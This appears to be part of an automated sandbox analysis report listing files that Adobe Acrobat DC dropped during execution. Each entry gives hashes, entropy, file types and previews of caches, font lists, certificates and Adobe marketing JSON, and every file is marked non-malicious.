SHA1:	C8BE80D2192F5F9C8DA47150C54DC3FE75116746
SHA-256:	4289789A0E276A5166298486EEFB2F193687910772D2A8FF42B13D28773DE818
SHA-512:	F823BE62D83E1D7C6F092E8466C880E498FE573EE19EF1EBB400BC43C193B7074E38B21D07653BBB45F2EA48D41A9012FB301D9786D2499FD4AEBDBC9B885361
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2135947686009656
Encrypted:	false
SSDEEP:	24:7+tXnnuwKcqL0MzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9p:7MXnCcq/mFTIF3XmHjBoGGR+jMz+Lhn
MD5:	75D638796EBE573BB54DD1F9856543AB
SHA1:	47416CED31AE59023C2CC7149E1A145CE49E5265
SHA-256:	09D1602304359D82881E0E2D5AEBD0BDCA6AF81CC7767C249EAC2EC700F0D6EE
SHA-512:	4F3C707BF20653D5827651C331FDD36831BDC217754A4A0CD41327558F45BAB7BC1855B205817CAB92E885CBA0447521BCE1689BAD63C48285E294527F8D60F0
Malicious:	false
Preview:	.... .c.......P;........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7128804279777397
Encrypted:	false
SSDEEP:	3:kkFkly2ltfllXlE/HT8kyqjNNX8RolJuRdxLlGB9lQRYwpDdt:kKrCeT8GRNMa8RdWBwRd
MD5:	AFEFD2576C1CC0EFCA493E26B8B39DC8
SHA1:	A0E8252950686A8B4AA78FDB9FF5B820A3EF0EF2
SHA-256:	7E7C3FF45D4D7A846810EB3DDA3A35BFC399DD5709ED0E4591D713A256065A1E
SHA-512:	9B01B8A198E8656AC6D2B339A5E08BB87B442A9331FB9B183A94E4F1F966A81C7D7B11BC2F7DE22BB8C4D4B6C7054C5C55098A3BD5A40215DB863ECB0AF2C17C
Malicious:	false
Preview:	p...... .........6_#.c..(....................................................... ..........W....W...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2307953048318376
Encrypted:	false
SSDEEP:	6:kK5Ql/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:m/iDImsLNkPlE99SNxAhUe/3
MD5:	235C3230DD63BCE6D55165ACDFA5A2E9
SHA1:	5EF065DB73615CC06E9C874E4F1781CBE91F3835
SHA-256:	6C6DECCC6B43D2C32FB2ECE779FAC9DB3EA5923FA9839C3A6C89620EC30676B2
SHA-512:	739EDEFC9040799E5379EDCCCFD2BF9810BD7588B968974F946CA2A6D5B0F75309402394E672B38A7461D1836BCCD12C93F964317A67AC2673365E2EB4FD9528
Malicious:	false
Preview:	p...... ........X..5.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4072

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4072

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.375094320082601
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJM3g98kUwPeUkwRe9:YvXKXaIHwacUsGMbLUkee9
MD5:	36C88B4AEF0A567F7985FB56EBE56B08
SHA1:	8FD27EB3E54F6674FA85C5355219CC22B6D0C1D9
SHA-256:	D99B7B758C646D95D73195615319363CD428EFE08054611EF2777BD0B14E5E3F
SHA-512:	A750B9F50699404D561F477EE86D81178FDE0C6E74FD6E3572C14010F03A446E77154B4D6E19E34DA44F131611557DE08AE95CE66514C96DBE70FC3A9393113A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.32949800429865
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJfBoTfXpnrPeUkwRe9:YvXKXaIHwacUsGWTfXcUkee9
MD5:	E943CF1C1358A35539608AC6DBD42290
SHA1:	6EC9699B9B309ADA9BB70C0E8D2B2995C7147014
SHA-256:	2F8FC2A973DF77FA4404DED64DF083480211C9B3F6FB6E874D9A07901CD4B421
SHA-512:	9C2C713BAF0138AC6C8E0F5396977B400F102F419B650793D2677AE47E5889D51FF55773076A934F67F4549CB09FAEC6B78CBF750BC08CF5FD8D0B8B804162E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.307897323167081
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJfBD2G6UpnrPeUkwRe9:YvXKXaIHwacUsGR22cUkee9
MD5:	A171336E8219E2E10BF0D5674F1AA69C
SHA1:	55A18402BD3EBA3E6C69BEFCD253186E59955F1D
SHA-256:	E57E5CC6F9B591FFE0A7A9AFB86C1B1CAAC3D9F1EEA96B22067F8B43C1BB6ACD
SHA-512:	91EFC39833A932EEED1D9446E9B9214D0D7F601DBAA8D80A5B7393293451BBD13B9A5023E76F86DB2BCB1EAB74D97EEB4E8C39AC6E736C8D2861D2031417C71E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3555285074576044
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJfPmwrPeUkwRe9:YvXKXaIHwacUsGH56Ukee9
MD5:	1FAA1EB0FDF1400DD16D5E8BF6345EBB
SHA1:	D4B62FB63B99E775AEBABA2479B48ACE9ECC6F18
SHA-256:	54DB0AEB2265EE932B51D3458C23507366A3C5E4B96E0E69A9691BB90F3F2DF0
SHA-512:	155B7888990A080591861323A464D962BFFB96B4CCBED53FA94C65BC3B89966D6A7F66CD126102C1202D6EED49BF942AB7829466451578CE574883A974B7588D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693259031808792
Encrypted:	false
SSDEEP:	24:Yv6XpAUpLgE9cQx8LennAvzBvkn0RCmK8czOCCSy:YvgFhgy6SAFv5Ah8cv/y
MD5:	4D4F3B4CCFF2E7442A0FAF23D799965C
SHA1:	37AACD3F9C1E14A00BB47AD2EA6735D9D97EAE29
SHA-256:	959D3073DD25157241B49464E7EB62547939DAE3E0DF885D3D459A21E640F350
SHA-512:	B62FC2E55CD55813D476B7EA6B8436C432039568216147995B1D36E64D1901D93ED6255854482F86D55BBAD5C97115F7C6B4FFCD09E0C86F1476D7BEF2F6AE67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304397062702149
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJf8dPeUkwRe9:YvXKXaIHwacUsGU8Ukee9
MD5:	EF2EB21E9143E3220681AA3D8DDFC119
SHA1:	0C26B034FB4507F987F6A9441C8AF57E973B3D61
SHA-256:	71A0D8788829E1788968A42832BF805FF32892E00F74E8C8B3C098F41E2761BC
SHA-512:	931D16D39210387C8547C4A342279CF494A75B41007F39692DC161050838D2F6D8CB15FA588D9930AA60E76814FCD9ADA5D4CD5E06C9102D37CA08931B2F09C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.30729493893862
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJfQ1rPeUkwRe9:YvXKXaIHwacUsGY16Ukee9
MD5:	4E64B6991F33898D7B722F9FA30A82CD
SHA1:	4144E12846AEFE389AE2BA62299EDE9DE37CF871
SHA-256:	1ED8FDCF3AC5F0033001424B325BC3DCDF1BC556F3E6CDA1CE4CF779EC9D04E8
SHA-512:	A958DDC1B40920C7F0628B5C9D2DB703106824EA7C91D65F3F0AD1340403FDA62B4206E7FF0064A0BEE0A20C2B08F190D2139AAEBAC36B27DEB6931508E4C17F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d2d48b1c-628d-4f2d-848f-49717dda30f3","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736707718980,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3116486175694195
Encrypted:	false
SSDEEP:	6:YEQXJ2HXaIQSw8KGnZiQ0YoiEeoAvJfFldPeUkwRe9:YvXKXaIHwacUsGz8Ukee9
MD5:	F2A4A12A5EF59420779CDB007AA0FC92
SHA1:	41B7D36825E15C789F60E7F6A725DA1D5920FD7A
SHA-256:	1E7099A8AC3450CAF4C1EA85D4F2B40DE824B5CBB768F8BEF15B715C3BB85781
SHA-512:	F22C60F819BF364E64E6FEFD55D34F3BB7FD6BB4A34928983436217C30DDF0A84499F5CBE150F7EC841922C03C80CEB767ECAA28AA425C73F9A6440C2A23C138
Malicious:	false
